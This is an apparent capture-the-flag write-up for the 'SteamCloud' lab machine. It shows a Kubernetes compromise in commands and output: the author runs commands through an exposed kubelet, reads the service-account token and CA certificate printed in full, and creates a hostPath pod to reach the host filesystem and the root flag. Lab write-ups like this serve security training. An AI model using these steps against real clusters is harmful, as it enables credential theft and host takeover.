Notes
| Name | SteamCloud |
|---|---|
| OS | Linux |
| RELEASE DATE | 14 Feb 2022 |
| DIFFICULTY | Easy |
Port Scan
IP: 10.10.11.133
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
nmap -p- --min-rate 10000 10.10.11.133
nmap -p 22,2379,2380,8443,10249,10250,10256 -sV -sC 10.10.11.133
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 fc:fb:90:ee:7c:73:a1:d4:bf:87:f8:71:e8:44:c6:3c (RSA)
| 256 46:83:2b:1b:01:db:71:64:6a:3e:27:cb:53:6f:81:a1 (ECDSA)
|_ 256 1d:8d:d3:41:f3:ff:a4:37:e8:ac:78:08:89:c2:e3:c5 (ED25519)
2379/tcp open ssl/etcd-client?
| tls-alpn:
|_ h2
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.10.11.133, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2022-03-10T02:50:12
|_Not valid after: 2023-03-10T02:50:12
2380/tcp open ssl/etcd-server?
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.10.11.133, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2022-03-10T02:50:12
|_Not valid after: 2023-03-10T02:50:13
| tls-alpn:
|_ h2
|_ssl-date: TLS randomness does not represent time
8443/tcp open ssl/https-alt
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 403 Forbidden
| Audit-Id: 294c3644-893c-4235-9374-2383bde0bcb4
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: cb3a526b-c0fd-4a69-a83e-9213ec171034
| X-Kubernetes-Pf-Prioritylevel-Uid: e078fbdc-3440-406f-b551-a1578dbd1cee
| Date: Thu, 10 Mar 2022 02:54:02 GMT
| Content-Length: 212
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
| GetRequest:
| HTTP/1.0 403 Forbidden
| Audit-Id: 768ad344-ae14-43a9-aa32-405cecc553f1
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: cb3a526b-c0fd-4a69-a83e-9213ec171034
| X-Kubernetes-Pf-Prioritylevel-Uid: e078fbdc-3440-406f-b551-a1578dbd1cee
| Date: Thu, 10 Mar 2022 02:54:01 GMT
| Content-Length: 185
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
| HTTPOptions:
| HTTP/1.0 403 Forbidden
| Audit-Id: e9d1fd08-578c-40f4-8c8b-7fcdbdcba7a9
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: cb3a526b-c0fd-4a69-a83e-9213ec171034
| X-Kubernetes-Pf-Prioritylevel-Uid: e078fbdc-3440-406f-b551-a1578dbd1cee
| Date: Thu, 10 Mar 2022 02:54:02 GMT
| Content-Length: 189
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn't have a title (application/json).
| tls-alpn:
| h2
|_ http/1.1
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.11.133, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2022-03-09T02:50:11
|_Not valid after: 2025-03-09T02:50:11
|_ssl-date: TLS randomness does not represent time
10249/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=steamcloud@1646880615
| Subject Alternative Name: DNS:steamcloud
| Not valid before: 2022-03-10T01:50:14
|_Not valid after: 2023-03-10T01:50:14
| tls-alpn:
| h2
|_ http/1.1
10256/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Port Scan analysis
From my scan, we have 7 open ports.
- 22 SSH
- 2379 & 2380 - etcd
- 8443 - Based on the TLS certificate this is minikube, a tool that lets you run Kubernetes locally
- 10249, 10250 & 10256 - https api
Enumerating SSH
Based on the SSH version being OpenSSH 7.9p1 Debian 10+deb10u2 I think that this machine running Debain 10 Buster. I gave Debian 10+deb10u2 a search on google and the first thing that came up was https://packages.debian.org/buster/openssh-server. From the URL and looking at the page this package is for Debain 10 Buster
TCP 8443
From HackTricks I learned that this is the main Minikube API, so I’ll start poking around here first.
Nmap got a Forbidden error when trying to hit the http page. I’ll just quickly confirm this by using curl the -k will skip the TLS/SSL verification. The results show that we do not have access to the api.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root💀kali)-[~/htb]
└─# curl https://10.10.11.133:8443 -k
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {
},
"status": "Failure",
"message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",
"reason": "Forbidden",
"details": {
},
"code": 403
}
I also tried to use ffuf to see if there were any hidden directories that we could look at
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(root💀kali)-[~/htb]
└─# ffuf -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt -u https://10.10.11.133:8443/FUZZ -c -fw 7,8,9
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : https://10.10.11.133:8443/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response words: 7
________________________________________________
version [Status: 200, Size: 263, Words: 28, Lines: 11]
Running curl against it shows some versions for Kubernetes
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root💀kali)-[~/htb]
└─# curl https://10.10.11.133:8443/version -k
{
"major": "1",
"minor": "22",
"gitVersion": "v1.22.3",
"gitCommit": "c92036820499fedefec0f847e2054d824aea6cd1",
"gitTreeState": "clean",
"buildDate": "2021-10-27T18:35:25Z",
"goVersion": "go1.16.9",
"compiler": "gc",
"platform": "linux/amd64"
}
HTTP 10249, 10250, 10256
10249
I was not able to get anything from this page, it returned a 404. I was however able to fuzz out a /metrics but nothing interesting was there
10250
I did the very same thing for port 10250 and this time I got a lot more output from ffuf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(root💀kali)-[~/htb]
└─# ffuf -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt -u https://10.10.11.133:10250/FUZZ -c
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : https://10.10.11.133:10250/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
stats [Status: 301, Size: 42, Words: 3, Lines: 3]
logs [Status: 301, Size: 41, Words: 3, Lines: 3]
metrics [Status: 200, Size: 196356, Words: 2896, Lines: 1612]
pods [Status: 200, Size: 37847, Words: 1, Lines: 2]
:: Progress: [30000/30000] :: Job [1/1] :: 508 req/sec :: Duration: [0:00:59] :: Errors: 2 ::
/metrics was the same as above, nothing interesting. /pods on the other hand had all the pod information.
1
2
3
4
┌──(root💀kali)-[~/htb]
curl https://10.10.11.133:10250/pods -k
{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"kube-proxy-2r8vg","generateName":"kube-proxy-","namespace":"kube-system","uid":"bce68dce-6b06-493f-b8b5-4347801220fd"
[...]
This output is super messy so I’ll use Kubeletctl to interact with it.
To install wget https://github.com/cyberark/kubeletctl/releases/download/v1.7/kubeletctl_linux_amd64 && chmod a+x ./kubeletctl_linux_amd64 && mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl
Reading the man page I can run kubeletctl pods -s 10.10.11.133 to connect to the server and list the pods.
1
2
pods Get list of pods on the node
-s, --server string Server address (format: x.x.x.x. For Example: 123.123.123.123)
We have access to all the pods!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(root💀kali)-[~/htb]
└─# kubeletctl pods -s 10.10.11.133
┌────────────────────────────────────────────────────────────────────────────────┐
│ Pods from Kubelet │
├───┬────────────────────────────────────┬─────────────┬─────────────────────────┤
│ │ POD │ NAMESPACE │ CONTAINERS │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 1 │ storage-provisioner │ kube-system │ storage-provisioner │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 2 │ kube-proxy-2r8vg │ kube-system │ kube-proxy │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 3 │ coredns-78fcd69978-7nw88 │ kube-system │ coredns │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 4 │ nginx │ default │ nginx │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 5 │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 6 │ kube-scheduler-steamcloud │ kube-system │ kube-scheduler │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 7 │ etcd-steamcloud │ kube-system │ etcd │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 8 │ kube-apiserver-steamcloud │ kube-system │ kube-apiserver │
│ │ │ │ │
└───┴────────────────────────────────────┴─────────────┴─────────────────────────┘
Command Execution
Reading the documentation I found that there is a exec parameter that we can use to execute commands on pods! The syntax is kubeletctl exec <command> -c <container> -p <pod> -n <namespace> [flags]. After inputting everything my command is below and we see that we are root in the container.
1
2
3
┌──(root💀kali)-[~/htb]
└─# kubeletctl exec "whoami" -p nginx -c nginx -n default -s 10.10.11.133 1 ⨯
root
Privilege Escalation
My go-to site for when I need to learn how to hack something is Hack Tricks. They have a nice section on Kubernetes Enumeration that I used for this box.
Looking inside that first directory listed on the site, /run/secrets/kubernetes.io/serviceaccount, there are three files in that directory; ca.crt, namespace, and token. These two files will let us authenticate to the kube-apiserver that is running on port 8443 that we did not have access to previously.
I will save the certificate to ca.crt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root💀kali)-[~/htb]
└─# kubeletctl exec "cat /run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx -n default -s 10.10.11.133 > ca.crt
-----BEGIN CERTIFICATE-----
MIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p
a3ViZUNBMB4XDTIxMTEyOTEyMTY1NVoXDTMxMTEyODEyMTY1NVowFTETMBEGA1UE
AxMKbWluaWt1YmVDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOoa
YRSqoSUfHaMBK44xXLLuFXNELhJrC/9O0R2Gpt8DuBNIW5ve+mgNxbOLTofhgQ0M
HLPTTxnfZ5VaavDH2GHiFrtfUWD/g7HA8aXn7cOCNxdf1k7M0X0QjPRB3Ug2cID7
deqATtnjZaXTk0VUyUp5Tq3vmwhVkPXDtROc7QaTR/AUeR1oxO9+mPo3ry6S2xqG
VeeRhpK6Ma3FpJB3oN0Kz5e6areAOpBP5cVFd68/Np3aecCLrxf2Qdz/d9Bpisll
hnRBjBwFDdzQVeIJRKhSAhczDbKP64bNi2K1ZU95k5YkodSgXyZmmkfgYORyg99o
1pRrbLrfNk6DE5S9VSUCAwEAAaNhMF8wDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQW
MBQGCCsGAQUFBwMCBggrBgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
BBSpRKCEKbVtRsYEGRwyaVeonBdMCjANBgkqhkiG9w0BAQsFAAOCAQEA0jqg5pUm
lt1jIeLkYT1E6C5xykW0X8mOWzmok17rSMA2GYISqdbRcw72aocvdGJ2Z78X/HyO
DGSCkKaFqJ9+tvt1tRCZZS3hiI+sp4Tru5FttsGy1bV5sa+w/+2mJJzTjBElMJ/+
9mGEdIpuHqZ15HHYeZ83SQWcj0H0lZGpSriHbfxAIlgRvtYBfnciP6Wgcy+YuU/D
xpCJgRAw0IUgK74EdYNZAkrWuSOA0Ua8KiKuhklyZv38Jib3FvAo4JrBXlSjW/R0
JWSyodQkEF60Xh7yd2lRFhtyE8J+h1HeTz4FpDJ7MuvfXfoXxSDQOYNQu09iFiMz
kf2eZIBNMp0TFg==
-----END CERTIFICATE-----
I will print out the token and save it to an environment variable called $token to make the commander later on less messy
1
2
3
┌──(root💀kali)-[~/htb]
└─# kubeletctl exec "cat /run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx -n default -s 10.10.11.133
eyJhbGciOiJSUzI1NiIsImtpZCI6IjhHbWw4UjFTRXRCRTd1NHRmNXpYN0gtck9BZ0NhVnVweVoweFhJeUx1RTgifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjc4NTA2OTk2LCJpYXQiOjE2NDY5NzA5OTYsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6IjEwYjQ3YjBlLTc2YTMtNGIyNC05ZjRkLTc4NzUzMzU4NjZmMSJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjY0ZTE4M2VhLTczYWMtNGQ5MC05NDgyLTI1ZGQ1YWVmZWJjOSJ9LCJ3YXJuYWZ0ZXIiOjE2NDY5NzQ2MDN9LCJuYmYiOjE2NDY5NzA5OTYsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.EeKWx6TVZGkSrJANUMVh9OFLz_TwWiWSF8eV9eGnei6EWjvqU9EEbvoR2Xzx4rG3qYL_ZzfE7q_Umab-gTh2h-LtLlG4uR9TFtGsjVnh3RhIJw47Mh2hqUgeL3fpPwcWZXWtBco2M-_rjJGdcquzKxpA9KdP6bGZ757LbXYnK8p3bfh_s421kVnqZu09W_fvGpJwmeIG9maRAo3Ac3h7ueU2kjiVmB3A8ohxWadMInKcHqp06cnsU0QO535q2PxMf3T1Jttn52vHuv3HzV9yuqK8RjVLbTItrNPyTNuy12ur-2r3Y1YHd2AKsc9JlgXJql1xhetIln3eSWoYMee-Lg
export token="eyJhbGciOiJSUzI1NiIsImtpZCI6Ijh[snip]"
Now we can use those credentials to run cubectl and interact with the pod!
1
2
3
4
┌──(root💀kali)-[~/htb/steamCloud]
└─# kubectl --token=$token --certificate-authority=ca.crt --server=https://10.10.11.133:8443 get pods
NAME READY STATUS RESTARTS AGE
nginx 1/1 Running 0 12h
Next, we can use this to create a pod and mount part of the root file system to it much like “GoodGames.” This will allow us to read any files from the host file system like /root/root.txt
To do this I’ll create pod.yaml. This will mount / from the host system to /tmp/ on the container.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
apiVersion: v1
kind: Pod
metadata:
name: z0n
namespace: default
spec:
containers:
- name: z0n
image: nginx:1.14.2
volumeMounts:
- mountPath: /tmp
name: hostfs
volumes:
- name: hostfs
hostPath:
path: /
automountServiceAccountToken: true
hostNetwork: true
We will create our new container with this command kubectl apply -f pod.yaml --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$token
And verify that it is running
1
2
3
4
5
┌──(root💀kali)-[~/htb/steamCloud]
└─# kubectl --token=$token --certificate-authority=ca.crt --server=https://10.10.11.133:8443 get pods
NAME READY STATUS RESTARTS AGE
nginx 1/1 Running 0 54s
z0n 1/1 Running 0 2s
Now we can access the root file system of the host
1
2
3
4
5
6
┌──(root💀kali)-[~/htb/steamCloud]
└─# kubeletctl exec "ls /tmp" -s 10.10.11.133 -p z0n -c z0n
bin home lib32 media root sys vmlinuz
boot initrd.img lib64 mnt run tmp vmlinuz.old
dev initrd.img.old libx32 opt sbin usr
etc lib lost+found proc srv var
And get our root flag
1
2
3
┌──(root💀kali)-[~/htb/steamCloud]
└─# kubeletctl exec "cat /tmp/root/root.txt" -s 10.10.11.133 -p z0n -c z0n
[snip]